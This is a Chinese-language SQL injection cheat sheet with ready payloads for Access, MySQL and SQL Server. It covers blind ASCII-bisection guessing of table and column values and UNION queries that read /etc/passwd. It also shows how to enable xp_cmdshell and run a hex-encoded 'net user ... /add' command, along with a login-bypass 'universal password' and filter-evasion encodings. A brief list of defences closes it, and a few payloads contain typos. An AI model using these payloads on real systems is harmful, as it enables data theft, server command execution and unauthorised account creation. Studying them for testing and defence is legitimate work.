Access的SQL注入
ASP+Access注入猜解过程:
1.猜解表名/字段名
and(select count(*) from table) >=0/and exists(select *from table)
eg:10.211.55.5:8081/index.asp?action=edit&id=1and (select count(*)from admin>0)
返回正常则有admin表,返回不正常则无
2.猜解列名
and(select top 1 len(word) from table)>1
eg:10.211.55.5:8081/index.asp?action=edit&id=1and (select count(url)from admin>0)
返回正常则有admin表,url列,返回不正常则无
3.猜解字段值长度
and(select top 1 asc(mid(word,2,1)) from table)>1
eg:10.211.55.5:8081/index.asp?action=edit&id=1and (select len(url)from admin where id=6)>10
返回正常则有admin表,url列,并长度大于10,返回不正常则无,或小于10,可用二分法猜测长度
4.ASCLL逐字解码法猜解字段值
eg:10.211.55.5:8081/index.asp?action=edit&id=1and (select asc(mid(url,1,1))*from admin where id=6)>97*
返回正常则有admin表,url列,并字段值转化成ascll码值大于97也就是字母a,返回不正常则无,或字段值小于97,asc是转换成ascll码,mid(url,1,1)是在url列第六条数据存储的字符串截取第一个位置一个字符
MySQL的SQL注入
and 1=2 union 1,2,3,4
eg:http://192.168.33.33/tmp/1.php?id=1and1=2 UNION SELECT**1,2,3**
页数必须相同
eg:http://192.168.33.33/tmp/1.php?id=1and1=2 UNION SELECT version(),database(),user();
读文件操作load_file(‘/etc/passwd’)
eg:eg:http://192.168.33.33/tmp/1.php?id=1and1=2 UNION SELECT 1,2,load_file(‘/etc/passwd’);
去引号:
eg:eg:http://192.168.33.33/tmp/1.php?id=1and1=2 UNION SELECT 1,2,load_file(CHAR(47,101,116,99,47,112,97,115,115,119,100));
SQLServer的SQL注入
eg:select sum(age),sex from test group by sex having sum(age)>50;
eg:10.211.33.3:8081/1.asp?id=1 group by id having 1=1
错误信息会提示表名和列名,可加上提示的表名和字段名试其他数据
eg:10.211.3.3:8080/1.asp?id=1and(select top 1 name from test)>1
自动爆出字段值,如果是int类型可以用二分法猜解
基于时间(SQLServer)
有管理员访问权限
IF (system_user = 'sa') WAITFOR DELAY '0:0:5' –-
IF (substring((select @@version), 25, 1) = 5) WARITFOR DELAY '0:5:15' –-
EXEC master..xp_cmdshell 'ping -n 5 127.0.0.1'
有管理员访问权限,没有启动xp_cmdshell,于 2005和 2008 版本
EXEC sp_config 'show advanced options', 1;
GO
RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;
2000版本
exec master..sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
基于时间(MySQL)
select benchmark(1000000),sha1(‘fooying’));
select sleep(5); (5.0.12 版本以上)
基于错误
/is_srvrolemember(‘sysadmin’)
/case when (system_user = ‘sa’) then 1 else 0 end
基于内容
%2B case when (system_user = ‘sa’) then 1 else 0 end
万能密码
‘or’= ‘or’
sql = “select * from users when username=’”& name & “‘and passwd=’”&password & “’”
sql = “select * from users when username=” or’=’or” and passwd=’admin’
假 or 真 or 假 and 假=假 or 真 or (假 and假)=假or真or假=(假or真)or假=真or假=真
字符转换与编码的处理
Declare 与 OX6e 编码
二次编码
/**/替换空格
Declare 与 OX6e 编码
16进制编码
0x6e6574207573657220666f6f79696e67202f616464
declare @a sysname
select @a=<16进制代码>
exec master .dbo.xp_cmdshell @a
-
SQL注入的防御
基础与二次过滤
输入检查
特殊符号过滤
白名单与黑名单
不同语言的SQL 防御
使用参数化语句
特殊符号过滤
白名单与黑名单
Java
使用?占位符进行构造查询语句
JSF(Java Server Faces) 的 输入验证类 javax.faces.validator
.NET
@parameter(SqlClient)
:parameter(OracleClient)
?(OleDb/Odbc)
Regular-Expression Validator 控件
Custom Validator 控件
PHP
?占位符(mysqli,MySql)
Pg_query_params()(mysqli,PostgreSQL)
冒号字符与?占位符(PEAR:MDB2)
冒号字符与?占位符(PDO)
Preg_match 使用正则表达式执行匹配验证
Is_(input) 判断输入类型
Strlen(input) 判断输入长度
平台层的防御
Web 应用防火墙
URL 策略与页面层策略
数据库权限控制
额外的部署考虑